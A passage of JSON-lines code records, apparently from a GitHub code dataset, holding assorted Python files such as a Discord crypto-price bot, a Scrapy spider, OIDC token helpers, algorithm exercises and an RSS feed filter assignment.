p, q in union_pairs:\n dynamic_connectivity.union(p, q)\n dynamic_connectivity.printit()\n\n\nif __name__ == '__main__':\n main()\n# Output :\n# [0, 1, 2, 3, 4, 5]\n# [0, 3, 2, 3, 4, 5]\n# [0, 3, 4, 3, 4, 5]\n# [0, 3, 5, 3, 5, 5]\n","repo_name":"shivammehta25/Fun-Coding","sub_path":"Data Structures and Algorithms/Week_1/Dynamic_connectivity_Quick_Find.py","file_name":"Dynamic_connectivity_Quick_Find.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3148543941","text":"import discord\nimport logging\nfrom bs4 import BeautifulSoup\nimport requests\nimport datetime\nfrom webserver import keep_alive\n\n\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.DEBUG)\nhandler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')\nhandler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))\nlogger.addHandler(handler)\nclient = discord.Client()\n\nlist_of_jks = [\n \"Did you hear about the mathematician who’s afraid of negative numbers?\\n He’ll stop at nothing to avoid them.\",\n \"Why do we tell actors to “break a leg?\\nBecause every play has a cast.\",\n \"Hear about the new restaurant called Karma\\nThere’s no menu: You get what you deserve.\",\n \"A man tells his doctor, “Doc, help me. I’m addicted to Twitter!the doctor replies,\\n “Sorry, I don’t follow you …”\",\n\n]\n\n\ndef get_price_of_coin(coin_type):\n url = f'https://coinmarketcap.com/'\n\n html = requests.get(url).text\n\n soup = BeautifulSoup(html, 'html.parser')\n\n my_div = soup.find('a', {'href': f'/currencies/{coin_type}/markets/'}).get_text()\n\n return my_div\n\n\n@client.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(client))\n\n\ncounter = 0\n\n\n@client.event\nasync def on_message(message):\n if message.author == client.user:\n return\n\n if message.content.startswith('$'):\n\n if message.content.startswith(\"$hello\"):\n await message.channel.send(f'hello {message.author.name}!')\n\n if message.content.startswith(\"$whats your name\") and message.author.name == \"sire\":\n await message.channel.send(f'My name is zeek , sire.')\n\n elif message.content.startswith(\"$whats your name\") and message.author.name != \"sire\":\n await message.channel.send(f'I am zeek, {message.author.name}.')\n\n if message.content.startswith(\"$what is BTC price\"):\n await message.channel.send(\n f'```price of btc at {datetime.datetime.now()} is:\\n {get_price_of_coin(\"bitcoin\")}```')\n\n elif message.content.startswith('$what is ETH price'):\n await message.channel.send(\n f'```price of eth at {datetime.datetime.now()} is:\\n {get_price_of_coin(\"ethereum\")}```')\n\n if message.content.startswith('$tell me a joke'):\n global counter\n if counter < 3:\n counter += 1\n elif counter >= 3:\n counter = 0\n\n await message.channel.send(f'```{list_of_jks[counter]}```')\n\n if message.content.startswith('$that was dry') and message.author.name == \"sire\":\n await message.channel.send(\"okay :(\")\n\n elif message.content.startswith('$that was dry') and message.author.name != \"sire\":\n await message.channel.send(\"like your humour\")\n \n if message.content.startswith('$get entire price chart'):\n await message.channel.send(f'```Bitcoin -> {get_price_of_coin(\"bitcoin\")}\\n'\n f'Ethereum -> {get_price_of_coin(\"ethereum\")}\\n'\n f'Dogecoin -> {get_price_of_coin(\"dogecoin\")}\\n'\n f'XRP -> {get_price_of_coin(\"xrp\")}\\n'\n f'Binance-coin -> {get_price_of_coin(\"binance-coin\")}\\n'\n '```')\n \n if message.content.startswith(\"$commands\"):\n await message.channel.send(f\"```$hello -> greets you\\n\"\n \"$whats your name -> tells name\\n\"\n \"$what is BTC price -> scrapes BTC price\\n\"\n \"$what is ETH price -> scrapes ETH price \\n\"\n \"$tell me a joke -> tells a joke \\n\"\n \"$get entire price chart -> gets entire crypto price chart```\")\n\n\nkeep_alive()\n\nwith open(\"token.env\", \"r\") as file:\n TOKEN = file.read()\n\n\nclient.run(TOKEN)\n","repo_name":"fish-afk/python_projects","sub_path":"Discord bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40713401268","text":"\"\"\"Create weekly_points table\n\nRevision ID: 733531add80e\nRevises: 12c32957264b\nCreate Date: 2023-11-09 22:09:59.282626\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '733531add80e'\ndown_revision = '12c32957264b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('weekly_points',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=False),\n sa.Column('combined_points', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('user_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('weekly_points')\n # ### end Alembic commands ###\n","repo_name":"tanguymauve/Pedantix_Scorer","sub_path":"migrations/versions/733531add80e_create_weekly_points_table.py","file_name":"733531add80e_create_weekly_points_table.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30609678025","text":"import math\nfrom heapq import *\n#sys.setrecursionlimit(10**9)\nfrom collections import deque\nimport sys\n\nxs, ys = map(int,sys.stdin.readline().split())\nxe,ye,dx,dy = map(int,sys.stdin.readline().split())\n\nbf = math.gcd(dx,dy)\ndx //=bf\ndy //=bf\n\ncurx, cury = xe, ye\nwhile math.sqrt((curx - xs)**2 + (cury - ys)**2) > math.sqrt((curx + dx - xs)**2 + (cury + dy - ys)**2):\n curx += dx\n cury += dy\nprint(curx,cury)\n\n\n# for x in range(-101,101):\n# if (dy/dx*(x-xe)+ye) == (-1*dx/dy*(x-xs) + ys):\n# print(x, int(dy/dx*(x-xe)+ye))\n# quit()\n\n# y-1 = 2(x-2)\n# y = 2x -3\n# y -2 = -1/2(x-5)\n# y = -0.5x + 4.5\n# 2.5x = 7.5\n#이걸 식으로","repo_name":"dlgocks1/Algorithm_Solved","sub_path":"백준/Gold/1393. 음하철도 구구팔/음하철도 구구팔.py","file_name":"음하철도 구구팔.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8687679045","text":"# cook your dish here\nT = int(input())\nfor _ in range(T):\n N = int(input())\n f_list = []\n l_list = []\n for i in range(N):\n f, l = map(str, input().split())\n f_list.append(f)\n l_list.append(l)\n for i in range(N):\n if f_list.count(f_list[i]) > 1:\n print(f_list[i], l_list[i])\n else:\n print(f_list[i])","repo_name":"dhruv-gautam16/Code_Chef-Contest-","sub_path":"ATTND.py","file_name":"ATTND.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"71645326545","text":"import requests\n\nimport settings_preprod_demo as cfg\n\n\n\ndef getToken(code):\n \"\"\" Returns a valid token with a code from user authentication\n (see https://developer.signicat.com/documentation/authentication/protocols/openid-connect/full-flow-example/)\n \"\"\"\n payload = {\n 'client_id': cfg.oidc['CLIENT_ID'],\n 'redirect_uri': cfg.oidc['REDIRECT_URI'],\n 'grant_type': 'authorization_code',\n 'code': code\n }\n headers = {'Authorization': ('Basic ' + cfg.oidc['CRED64'])}\n try:\n r = requests.post((cfg.oidc['ISSUER_ID'] + 'token'), data=payload, headers=headers)\n resp = r.json()\n except requests.exceptions.RequestException as e:\n resp = {'error_description': str(e)}\n return resp\n\ndef getUserInfo(token):\n \"\"\" Returns JSON-formatted user info with a token from getToken\n (see https://developer.signicat.com/documentation/authentication/protocols/openid-connect/full-flow-example/)\n \"\"\"\n auth_str = 'Bearer ' + token\n headers = {'Authorization': auth_str}\n try:\n r = requests.get((cfg.oidc['ISSUER_ID'] + 'userinfo'), headers=headers)\n resp = r.json()\n except requests.exceptions.RequestException as e:\n resp = {'error_description': str(e)}\n return resp\n","repo_name":"ishrak-imam/py-auth","sub_path":"OIDC-example/oidc_funcs.py","file_name":"oidc_funcs.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37483671598","text":"import random\r\nnum = 5\r\nyuhp = 100\r\nakirahp = 100\r\n \r\nwhile True:\r\n start = int(input(\"Write the number of the turn: \"))\r\n print(\"\")\r\n akira_atk= random.randint(5,16)\r\n yu_atk= random.randint(4,17)\r\n hp_remain_yu = yuhp - akira_atk\r\n hp_remain_akira = akirahp - yu_atk\r\n if akira_atk >10 and yu_atk>10:\r\n print(\"Crtical Hit from akira\",akira_atk)\r\n print(\"***************************\")\r\n print(\"Crtical Hit from Yu\",yu_atk)\r\n print(\"***************************\")\r\n elif akira_atk >10:\r\n print(\"Crtical Hit from akira\",akira_atk)\r\n print(\"***************************\")\r\n elif yu_atk>10:\r\n print(\"Crtical Hit from Yu\",yu_atk)\r\n print(\"***************************\")\r\n def turn_akira():\r\n print(f\"|Yu Remain HP:{hp_remain_yu}|\")\r\n def turn_yu():\r\n print(f\"|Akira Remain HP:{hp_remain_akira}|\")\r\n turn_akira()\r\n turn_yu()\r\n yuhp = hp_remain_yu\r\n akirahp = hp_remain_akira\r\n (\"---------------------\")\r\n if akirahp<=0:\r\n print(\"Yu wins\")\r\n break\r\n elif yuhp<=0:\r\n print(\"Akira Wins\")\r\n break\r\n else:\r\n print(\"|another round|\")\r\n continue\r\nprint(\"--END--\")\r\n","repo_name":"AngelTahraf/Python_path_byte-of-python","sub_path":"Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18446625130","text":"from domain.camera.camerafactory import CameraFactory\nfrom domain.camera.calibration import Calibration\nfrom domain.camera.calibration import CalibrationTargetNotFoundError\n\n\nclass CalibrationService:\n def __init__(self, camera_factory):\n if isinstance(camera_factory, CameraFactory):\n self._camera_factory = camera_factory\n else:\n raise TypeError(\"instance is not of type {}\".format(CameraFactory.__name__))\n\n def create_calibration(self, target_shape):\n calibration = Calibration(target_shape, self._camera_factory)\n return calibration\n\n def calibrate_from_images(self, target_shape, images):\n calibration = self.create_calibration(target_shape)\n\n for image in images:\n try:\n calibration.collect_target_image(image)\n except CalibrationTargetNotFoundError:\n print(\"Calibration target not found on image, skipping image\")\n continue\n\n camera_model = calibration.do_calibration()\n return camera_model\n","repo_name":"jenifaelle/design3-vision","sub_path":"src/service/camera/calibrationservice.py","file_name":"calibrationservice.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9719622077","text":"from typing import List\n\n\ndef partition(a: List[int], p: int, r: int) -> int:\n x: int = a[r]\n i: int = p - 1\n for j in range(p, r):\n if a[j] <= x:\n i += 1\n a[i], a[j] = a[j], a[i]\n a[i + 1], a[r] = a[r], a[i + 1]\n return i + 1\n\n\nN: int = int(input())\nA: List[int] = list(map(int, input().split()))\nq: int = partition(A, 0, N - 1)\nfor i in range(N):\n if i == q:\n print(\"[{0}]\".format(A[i]), end=\" \")\n else:\n print(\"{0}\".format(A[i]), end=\" \")\nprint()\n","repo_name":"JojiKoike/Practice_AlgorithmAndDataStructure_Python","sub_path":"chapter7/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38878740634","text":"import os, zipfile\r\nimport argparse\r\nfrom tqdm import tqdm\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # command line parser\r\n parser = argparse.ArgumentParser(\r\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\r\n description=\"Unzipper - Unzip all files in a directory\")\r\n parser.add_argument(\"input_dir\", type=str, help=\"Input directory with files to be unzipped\")\r\n args = parser.parse_args()\r\n\r\n dir_name = args.input_dir\r\n extension = \".zip\"\r\n\r\n os.chdir(dir_name) # change directory from working dir to dir with files\r\n\r\n for item in tqdm(os.listdir(dir_name)): # loop through items in dir\r\n if item.endswith(extension): # check for \".zip\" extension\r\n file_name = os.path.abspath(item) # get full path of files\r\n zip_ref = zipfile.ZipFile(file_name) # create zipfile object\r\n zip_ref.extractall(dir_name) # extract file to dir\r\n zip_ref.close() # close file\r\n #os.remove(file_name) # delete zipped file\r\n","repo_name":"jinseo0904/curator_new","sub_path":"unzip_files.py","file_name":"unzip_files.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39349891374","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom ESearch.items import KankandouItemLoader, KankandouItem\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom ESearch.utils.common import get_md5\nimport sys\n\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\n\nclass KankandouSpider(CrawlSpider):\n name = 'kankandou'\n allowed_domains = ['kankandou.com']\n start_urls = ['https://kankandou.com/']\n\n rules = (\n Rule(LinkExtractor(allow=(r\"book/%.*.html\"), deny=(r\"login.html.*.html\", r\"reg.html.*.html\")), follow=True),\n Rule(LinkExtractor(allow=(r\"book/page/\\d+\"), deny=(r\"login.html.*.html\", r\"reg.html.*.html\")), follow=True),\n Rule(LinkExtractor(allow=(r\"book/view/\\d+.html\"), deny=(r\"login.html.*.html\", r\"reg.html.*.html\")),\n callback='parse_detail', follow=True),\n\n )\n\n def parse_detail(self, response):\n item_loader = KankandouItemLoader(item=KankandouItem(), response=response)\n item_loader.add_css(\"kindle_name\", \".object-title::text\")\n item_loader.add_xpath(\"kindle_author\", \"//*[@class='object-tags']/li[1]/span/descendant-or-self::text()\")\n if len(response.xpath(\"//*[@class='object-tags']/li[5]/a/@href\")) != 0:\n item_loader.add_xpath(\"kindle_score\", \"//*[@class='object-tags']/li[5]/a/@href\")\n else:\n item_loader.add_value(\"kindle_score\", \" \")\n item_loader.add_xpath(\"kindle_intro\", \"//*[@class='object-content']/text()\")\n item_loader.add_value(\"kindle_url\", response.url)\n item_loader.add_xpath(\"kindle_type\", \"//*[@class='object-tags']/li[3]/span/descendant-or-self::text()\")\n item_loader.add_value(\"kindle_id\", get_md5(response.url))\n\n detail = item_loader.load_item()\n return detail\n","repo_name":"anhuaxiang/spider","sub_path":"outsourcing_project/ESearch/ESearch/spiders/kankandou.py","file_name":"kankandou.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"28500567306","text":"from flask import request\nfrom flask_socketio import send, emit, join_room, leave_room\nfrom datetime import datetime\nfrom src import socketio, db\nfrom src.models import Message\n\n\n@socketio.on('connect')\ndef test_connect():\n print('Client connected', request.sid)\n\n@socketio.on('disconnect')\ndef test_connect():\n print('Client disconnected', request.sid)\n\n@socketio.on('join')\ndef on_join():\n print('Client joined', request.sid)\n join_room('first_room')\n\n@socketio.on('leave')\ndef on_leave():\n print('Client left', request.sid)\n leave_room('first_room')\n\n@socketio.on('push message')\ndef on_push_message(message: str, username: str):\n \n print('Client pushed message', request.sid, message)\n\n new_message = Message(\n message=message,\n username=username\n )\n\n db.session.add(new_message)\n db.session.commit()\n\n emit('pull message', to='first_room')\n \n","repo_name":"leventex1/GroupUp","sub_path":"Backend/src/sockets/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39359532337","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nThis module contains tools for building unitary matrices from parameterized quantum circuits.\r\n\"\"\"\r\nfrom typing import Dict, List\r\nimport numpy as np\r\n\r\n\r\nclass UnitaryBuilder:\r\n def __init__(self, num_qubits: int, mq_instructions: List[int], mq_dict: Dict[int, np.ndarray]):\r\n \"\"\"\r\n Constructor for UnitaryBuilder object.\r\n\r\n :param num_qubits: number of qubits in quantum circuit from which to build unitary\r\n :param mq_instructions: number of multi-qubit instructions available in quantum computer ISA\r\n :param mq_dict: dictionary mapping integers to multi-qubit instructions specified as unitary matrices\r\n \"\"\"\r\n self.num_qubits = num_qubits\r\n self.mq_instructions = mq_instructions\r\n self.mq_dict = mq_dict\r\n\r\n def u3(self, theta: float, phi: float, lam: float, qubit: int) -> np.ndarray:\r\n \"\"\"\r\n Generates the unitary matrix for a U3 gate given phi/theta/lambda parameters and the\r\n qubit on which it is supposed to act.\r\n\r\n :param theta: theta value of U3 gate (see Qiskit documentation)\r\n :param phi: phi value of U3 gate (see Qiskit documentation)\r\n :param lam: lambda value of U3 gate (see Qiskit documentation)\r\n :param qubit: qubit on which U3 gate should act\r\n \"\"\"\r\n if qubit + 1 > self.num_qubits:\r\n raise Exception(\"Error: invalid qubit\")\r\n\r\n gate = 1\r\n for i in range(qubit):\r\n gate = np.kron(gate, np.eye(2))\r\n\r\n gate = np.kron(gate, np.array([\r\n [np.cos(theta / 2), -np.exp(1j * lam) * np.sin(theta / 2)],\r\n [np.exp(1j * phi) * np.sin(theta / 2), np.exp(1j * (phi + lam)) * np.cos(theta / 2)]]\r\n ))\r\n\r\n for i in range(self.num_qubits - qubit - 1):\r\n gate = np.kron(gate, np.eye(2))\r\n\r\n return gate\r\n\r\n def build_unitary(self, params: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n Build a Numpy unitary matrix from a list of beta parameters.\r\n\r\n :param params: beta vector specifying U3 values from right to left\r\n and top to down in theta, phi, lambda order\r\n :returns: a unitary Numpy matrix\r\n \"\"\"\r\n matrix = np.eye(2 ** self.num_qubits, dtype=np.complex128)\r\n\r\n for qubit in range(self.num_qubits):\r\n matrix = matrix @ self.u3(params[3 * qubit], params[3 * qubit + 1], params[3 * qubit + 2], qubit)\r\n\r\n for layer in range(len(self.mq_instructions)):\r\n matrix = matrix @ self.mq_dict[self.mq_instructions[layer]]\r\n for qubit in range(self.num_qubits):\r\n layer_start = 3 * self.num_qubits * (layer + 1)\r\n matrix = matrix @ self.u3(params[layer_start + 3 * qubit],\r\n params[layer_start + 3 * qubit + 1],\r\n params[layer_start + 3 * qubit + 2],\r\n qubit\r\n )\r\n\r\n return matrix\r\n\r\n","repo_name":"maxaksel/Toffoli-Optimization","sub_path":"pyquopt/unitary.py","file_name":"unitary.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72885055826","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom django.template import Library\nfrom django.forms import ModelChoiceField\nfrom django.urls import reverse\nfrom wind_admin.wind_core import site\n\n\nregister = Library()\n\n@register.inclusion_tag('popup.html')\ndef add_list(form):\n # from django.forms.boundfield import BoundField\n # from django.db.models.fields.related_descriptors import ManyToManyDescriptor, ForwardManyToOneDescriptor\n # for item in form[\"m\"]:\n # pop_dict = {'item': None, 'is_pop': False, 'pop_url': None}\n # print(type(item.field), item.field)\n # if type(item.field) == MultipleChoiceField:\n # # eval(\"print(form['mc'].\" + item.name + \".through._meta.app_label)\")\n # # eval(\"print(form['mc'].\" + item.name + \".through._meta.model_name)\")\n #\n # pop_dict['item'] = item\n # pop_dict['is_pop'] = True\n #\n # base_url = reverse(\"{}:{}_{}_add\".format(\n # site.name_space,\n # eval(\"form['mc'].\" + item.name + \".through._meta.app_label\"),\n # eval(\"form['mc'].\" + item.name + \".through._meta.model_name\")\n # )\n # )\n # pop_dict['pop_url'] = base_url\n #\n # elif type(item.field) == ChoiceField:\n #\n # # eval(\"print(form['mc'].\" + item.name + \".get_queryset().model._meta.app_label)\"),\n # pop_dict['item'] = item\n # pop_dict['is_pop'] = True\n #\n # base_url = reverse(\"{}:{}_{}_add\".format(\n # site.name_space,\n # eval(\"form['mc'].\" + item.name + \".get_queryset().model._meta.app_label\"),\n # eval(\"form['mc'].\" + item.name + \".get_queryset().model._meta.model_name\")\n # )\n # )\n # pop_dict['pop_url'] = base_url\n # else:\n # pop_dict['item'] = item\n # form_list.append(pop_dict)\n form_list = []\n for item in form[\"m\"]:\n row = {'is_popup': False, 'item': None, 'popup_url': None}\n if isinstance(item.field, ModelChoiceField) and item.field.queryset.model in site._register:\n target_app_label = item.field.queryset.model._meta.app_label\n target_model_name = item.field.queryset.model._meta.model_name\n url_name = \"{0}:{1}_{2}_add\".format(site.name_space, target_app_label, target_model_name)\n target_url = \"{0}?popup={1}\".format(reverse(url_name), item.auto_id)\n\n row['is_popup'] = True\n row['item'] = item\n row['popup_url'] = target_url\n else:\n row['item'] = item\n form_list.append(row)\n print(\"form_list\", form_list)\n return {'form': form_list, \"f\": form[\"m\"]}","repo_name":"mmmattleung/django_blog","sub_path":"wind_admin/templatetags/popup.py","file_name":"popup.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10538363926","text":"import random as rd\r\n\r\n'''\r\n重複のない(178のように各桁の数字が被らない)任意の桁数の数字について,数字を推測するHit and Blowゲーム\r\n数字と場所が当たっている数を「Hit」。数字は当たっているが場所が当たってない数を「Blow」で示す。\r\n例)答えが178のとき,871と推測すると,1 Hit 2 Blow\r\n 7は数字と場所があっているため1 Hit,1と8は数字はあっているが場所があっていないため2 Blow\r\n'''\r\n\r\ndef createNumber_nodup(digit): #重複のない任意の桁数の整数を生成する関数\r\n number_list = [rd.randint(1,9)] \r\n number_nodup = 0\r\n\r\n while True:\r\n randval = rd.randint(0,9)\r\n\r\n if randval not in number_list: \r\n number_list.append(randval) \r\n\r\n if len(number_list) == digit: \r\n break \r\n\r\n for i in range(1,digit + 1):\r\n number_nodup += number_list[i-1] * (10 ** (digit - i))\r\n \r\n return number_nodup\r\n\r\ndef hitAndBlow(answer,number,digit): #HitとBlowの数を表示する関数\r\n hit = 0\r\n blow = 0\r\n number_list = []\r\n answer_list = []\r\n\r\n for i in range(1,digit+1): #整数の各桁をlistに代入する\r\n number_list.append(number % 10)\r\n number = number // 10\r\n\r\n answer_list.append(answer % 10)\r\n answer = answer // 10\r\n \r\n for i in range(1,digit + 1):\r\n for j in range(1,digit + 1):\r\n if number_list[i-1] == answer_list[i-1]:\r\n hit += 1\r\n break\r\n elif number_list[i-1] == answer_list[j-1]:\r\n blow += 1\r\n break\r\n \r\n print(hit,' Hit ',blow,' Blow ')\r\n\r\n#メインの処理\r\n\r\nwhile True: #桁数を指定する,2~10以外の桁数が入力された場合は次の処理に行かないようにした\r\n print('何桁の数字当てゲームに挑戦しますか?(2~10桁まで)')\r\n digit = int(input())\r\n if not (digit >= 2 and digit <= 10):\r\n print('無効な入力です,2~10までの数字を入力してください')\r\n else:\r\n break\r\n \r\nans = createNumber_nodup(digit) #正解の数字を生成\r\nmax_count = 10 #回答回数の指定\r\n\r\nprint(digit,'桁の数字を当ててください')\r\nprint('回答は',max_count,'回までです')\r\n\r\nfor i in range(1,max_count + 1):\r\n\r\n while True: #数字の入��,桁数の違う数字が入力された場合は次の処理に行かない\r\n print(i,'回目の回答です')\r\n num = int(input())\r\n\r\n if not (num >= 10 ** (digit - 1) and num <= 10 ** digit - 1):\r\n print('無効な入力です,',digit,'桁の数字を入力してください')\r\n else:\r\n break\r\n\r\n if num == ans: #正解した場合と回答回数を使い切った場合,for文の処理終了,不正解の場合Hit and Blowの表示\r\n print('正解です')\r\n break\r\n elif i == max_count:\r\n print('不正解です')\r\n else:\r\n hitAndBlow(ans,num,digit) \r\n\r\nelse:\r\n print('正解は',ans,\"でした\")\r\n\r\n","repo_name":"yamayouomiya0000/homework","sub_path":"guess_number.py","file_name":"guess_number.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5647852464","text":"import logging\nfrom flask import Flask, send_from_directory, current_app\nfrom urllib.parse import unquote\n\napp = Flask(__name__, static_folder='/app/site')\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n@app.route('/')\ndef send_static(path):\n logger.info(f\"Entered\")\n logger.info(f\"Entered send_static with path: {path}\")\n decoded_path = unquote(path)\n\n if decoded_path.endswith('/'):\n decoded_path = decoded_path + 'index.html'\n\n return send_from_directory('/app/site', decoded_path)\n\n@app.route('/')\ndef index():\n return app.send_static_file('index.html')\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=5000, debug=True)","repo_name":"Nihilentropy-117/Auto-MkDocs","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74336126226","text":"# 6.0001/6.00 Problem Set 5 - RSS Feed Filter\n# Name:\n# Collaborators:\n# Time:\n\nimport feedparser\nimport string\nimport time\nimport threading\nfrom project_util import translate_html\nfrom mtTkinter import *\nfrom datetime import datetime\nimport pytz\nimport re\nimport collections\ncollections.Callable = collections.abc.Callable\n\n#-----------------------------------------------------------------------\n\n#======================\n# Code for retrieving and parsing\n# Google and Yahoo News feeds\n# Do not change this code\n#======================\n\ndef process(url):\n \"\"\"\n Fetches news items from the rss url and parses them.\n Returns a list of NewsStory-s.\n \"\"\"\n feed = feedparser.parse(url)\n entries = feed.entries\n ret = []\n for entry in entries:\n guid = entry.guid\n title = translate_html(entry.title)\n link = entry.link\n description = translate_html(entry.description)\n pubdate = translate_html(entry.published)\n\n try:\n pubdate = datetime.strptime(pubdate, \"%a, %d %b %Y %H:%M:%S %Z\")\n pubdate.replace(tzinfo=pytz.timezone(\"GMT\"))\n # pubdate = pubdate.astimezone(pytz.timezone('EST'))\n # pubdate.replace(tzinfo=None)\n except ValueError:\n pubdate = datetime.strptime(pubdate, \"%a, %d %b %Y %H:%M:%S %z\")\n\n newsStory = NewsStory(guid, title, description, link, pubdate)\n ret.append(newsStory)\n return ret\n\n#======================\n# Data structure design\n#======================\n\n# Problem 1\nclass NewsStory(object):\n def __init__(self, guid, title, description, link, pubdate):\n \"\"\"\n Initializes a NewsStory object \n\n guid (string): globally unique identifier\n title (string): the title of the news story\n description (string): a description of the news story\n link (string): a link to more content\n pubdate (datetime): published datetime of news story\n\n A NewsStory object has five attributes:\n self.guid (string, determined by input guid)\n self.title (string, determined by input title)\n self.description (string, determined by input description)\n self.link (string, determined by input link)\n self.pubdate (datetime, determined by input pubdate)\n\n Returns\n -------\n None.\n\n \"\"\"\n self.guid = guid\n self.title = title\n self.description = description\n self.link = link\n self.pubdate = pubdate\n \n \n def get_guid(self):\n '''\n Used to safely access self.guid outside of the class\n \n Returns: self.guid\n '''\n return self.guid\n\n def get_title(self):\n '''\n Used to safely access self.title outside of the class\n \n Returns: self.title\n '''\n return self.title\n\n def get_description(self):\n '''\n Used to safely access self.description outside of the class\n \n Returns: self.description\n '''\n return self.description\n\n def get_link(self):\n '''\n Used to safely access self.link outside of the class\n \n Returns: self.link\n '''\n return self.link\n \n def get_pubdate(self):\n '''\n Used to safely access self.pubdate outside of the class\n \n Returns: self.pubdate\n '''\n return self.pubdate \n \n def set_guid(self, guid):\n self.guid = guid\n \n def set_title(self, title):\n self.title = title\n \n def set_description(self, description):\n self.description = description\n \n def set_link(self, link):\n self.link = link\n \n def set_pubdate(self, pubdate):\n self.pubdate = pubdate\n\n#======================\n# Triggers\n#======================\n\nclass Trigger(object):\n def evaluate(self, story):\n \"\"\"\n Returns True if an alert should be generated\n for the given news item, or False otherwise.\n \"\"\"\n # DO NOT CHANGE THIS!\n raise NotImplementedError\n\n# PHRASE TRIGGERS\n\n# Problem 2\nclass PhraseTrigger(Trigger):\n def __init__(self, phrase):\n self.phrase = phrase.lower()\n \n def get_phrase(self):\n return self.phrase\n # def evaluate(self, story):\n # if self.phrase in story.get_title():\n # return True\n # elif self.phrase in story.get_description():\n # return True\n # else:\n # return False\n \n\n #@abstractmethod\n def is_phrase_in(self, story):\n phrase = self.get_phrase().lower()\n story = story.lower()\n \n punc = re.compile(\"[!\\\"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~']{1,}\")\n \n # remove all punctuation\n newstory = punc.sub(' ', story).split()\n \n # initialize empty list to store indices of matched words\n matched_index_list = []\n \n for word in phrase.split():\n if word not in newstory:\n return False\n else:\n # iterate each word and iterator of each item in the passed argument\n for index, text in enumerate(newstory):\n if word == text:\n # get the index of the matched word in text\n matched_index_list.append(index)\n # get the difference between succeeding and preceeding indices\n matched_index_value = [matched_index_list[i + 1] - matched_index_list[i]\n for i in range(len(matched_index_list) - 1)] \n \n # Ensure words are consecutive in pharse\n for value in matched_index_value:\n if value != 1:\n return False\n \n return True\n \n# matches = re.finditer(punc,story)\n# for m in matches:\n# print(m.start())\n# print(m.end()-1)\n# print(len(story)-1)\n# print(story)\n# # if m.start()-1 == ' '\n# # or m.end()+1 == ' '\n# # then we can just find and replace with nothing\n# # else we need to replace the match group with a space\n# # but, if m.start() - 1 <=0 then we don't check and automatically replace with nothing\n# # if m.end() >= len(story) then we don't check and automatically replace with nothing\n \n# if m.start()-1<=0 or m.end() >= len(story):\n# newstory = re.sub(m.group(),'',newstory)#re.sub(punc,'',newstory)\n# elif story[m.start()-1]==' ' or story[m.end()+1]==' ':\n# newstory = re.sub(m.group(),'',newstory)#re.sub(punc,'',newstory)\n# else:\n# newstory = re.sub(m.group(),' 